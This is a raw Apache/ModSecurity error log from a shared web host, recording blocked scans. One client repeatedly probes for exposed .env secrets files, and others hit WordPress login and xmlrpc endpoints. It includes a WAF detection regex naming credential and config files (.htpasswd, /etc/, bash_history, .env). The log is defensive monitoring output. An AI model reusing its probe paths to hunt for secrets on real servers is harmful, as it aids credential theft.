https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:16:55.911370 2026] [security2:error] [pid 648189:tid 648384] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/clld_dir/.env"] [unique_id "ai3y91WSojQL4F7upKBgsQAAAKQ"] [Sat Jun 13 18:16:56.049631 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cloud/.env"] [unique_id "ai3y-FWSojQL4F7upKBguAAAAIk"] [Sat Jun 13 18:16:56.153045 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.90:48848] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:56.153325 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.90:48848] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:56.184521 2026] [security2:error] [pid 648189:tid 648221] [remote 57.141.14.109:25914] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/beta/content/histanddynasties/content/usingdictionaries/SouthMing/SouthernQi/EarlierHan/manual.php"] [unique_id "ai3y-FWSojQL4F7upKBgugAAkwE"] [Sat Jun 13 18:16:56.186489 2026] [security2:error] [pid 648189:tid 648417] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cmd/testdata/expected/dot_env/.env"] [unique_id "ai3y-FWSojQL4F7upKBguwAAAMQ"] [Sat Jun 13 18:16:56.288000 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.104:44196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:56.288318 2026] [access_compat:error] [pid 646876:tid 646931] [remote 57.141.14.104:44196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:56.299475 2026] [security2:error] [pid 648189:tid 648460] [client 34.23.213.224:45616] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-FWSojQL4F7upKBgvQAAAOo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:56.325106 2026] [security2:error] [pid 648189:tid 648400] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/code/api/.env"] [unique_id "ai3y-FWSojQL4F7upKBgvgAAALQ"] [Sat Jun 13 18:16:56.348205 2026] [security2:error] [pid 648189:tid 648394] [client 172.56.168.133:31599] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y-FWSojQL4F7upKBgvwAAAK4"] [Sat Jun 13 18:16:56.353062 2026] [security2:error] [pid 648189:tid 648394] [client 172.56.168.133:31599] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y-FWSojQL4F7upKBgvwAAAK4"] [Sat Jun 13 18:16:56.378682 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:16:56.378992 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:16:56.419542 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.89:48178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:56.419978 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.89:48178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:56.460347 2026] [security2:error] [pid 648189:tid 648408] [client 34.23.213.224:45618] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-FWSojQL4F7upKBgxQAAALs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:56.461441 2026] [security2:error] [pid 648189:tid 648391] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/code/web/.env"] [unique_id "ai3y-FWSojQL4F7upKBgxgAAAKs"] [Sat Jun 13 18:16:56.599865 2026] [security2:error] [pid 648189:tid 648405] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/CodeGolf.Web/ClientApp/.env"] [unique_id "ai3y-FWSojQL4F7upKBgyAAAALg"] [Sat Jun 13 18:16:56.621913 2026] [security2:error] [pid 648189:tid 648406] [client 34.23.213.224:45634] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-FWSojQL4F7upKBgzAAAALk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:56.689751 2026] [security2:error] [pid 648189:tid 648298] [remote 17.241.227.252:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 252.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-FWSojQL4F7upKBgzwAAvkw"] [Sat Jun 13 18:16:56.736617 2026] [security2:error] [pid 648189:tid 648431] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/codenames-frontend/.env"] [unique_id "ai3y-FWSojQL4F7upKBg0AAAANI"] [Sat Jun 13 18:16:56.785344 2026] [security2:error] [pid 648189:tid 648425] [client 34.23.213.224:45636] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-FWSojQL4F7upKBg0QAAAMw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:56.873830 2026] [security2:error] [pid 648189:tid 648468] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/collab-connect-web-application/server/.env"] [unique_id "ai3y-FWSojQL4F7upKBg0wAAAPI"] [Sat Jun 13 18:16:56.901278 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:16:56.901933 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:16:56.959819 2026] [security2:error] [pid 648189:tid 648483] [client 34.23.213.224:45642] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-FWSojQL4F7upKBg1wAAAQE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.014702 2026] [security2:error] [pid 648189:tid 648452] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/collected_static/.env"] [unique_id "ai3y-VWSojQL4F7upKBg2gAAAOY"] [Sat Jun 13 18:16:57.124346 2026] [security2:error] [pid 646876:tid 647059] [client 34.23.213.224:45648] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-dyTkdrNlD40tSGsOQAAADM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.152911 2026] [security2:error] [pid 648189:tid 648416] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/community/.env"] [unique_id "ai3y-VWSojQL4F7upKBg4AAAAMM"] [Sat Jun 13 18:16:57.277176 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.100:36249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:57.277389 2026] [security2:error] [pid 648189:tid 648432] [client 34.23.213.224:45654] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-VWSojQL4F7upKBg5QAAANM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.279079 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.100:36249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:57.295255 2026] [security2:error] [pid 648189:tid 648429] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/compose/.env"] [unique_id "ai3y-VWSojQL4F7upKBg5wAAANA"] [Sat Jun 13 18:16:57.330801 2026] [security2:error] [pid 648189:tid 648423] [client 34.23.213.224:45666] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-VWSojQL4F7upKBg6QAAAMo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.353060 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.95:36969] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:57.353409 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.95:36969] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:57.370207 2026] [access_compat:error] [pid 648189:tid 648267] [remote 57.141.14.7:47395] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:57.370484 2026] [access_compat:error] [pid 648189:tid 648267] [remote 57.141.14.7:47395] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:57.400475 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:16:57.400932 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:16:57.491823 2026] [security2:error] [pid 648189:tid 648398] [client 34.23.213.224:45672] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-VWSojQL4F7upKBg8gAAALI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.536503 2026] [security2:error] [pid 648189:tid 648228] [remote 17.246.23.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y-VWSojQL4F7upKBg9AAApAg"] [Sat Jun 13 18:16:57.585600 2026] [security2:error] [pid 648189:tid 648271] [remote 103.127.30.137:35448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3y-VWSojQL4F7upKBg-AABADE"], referer: https://mrbradgoreski.com/wp-login.php [Sat Jun 13 18:16:57.652960 2026] [security2:error] [pid 648189:tid 648476] [client 34.23.213.224:45686] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y-VWSojQL4F7upKBg-wAAAPo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:57.785273 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.75:42528] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:57.785551 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.75:42528] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:57.808209 2026] [security2:error] [pid 646876:tid 647084] [client 210.217.96.217:18922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y-dyTkdrNlD40tSGsRgAAAEw"] [Sat 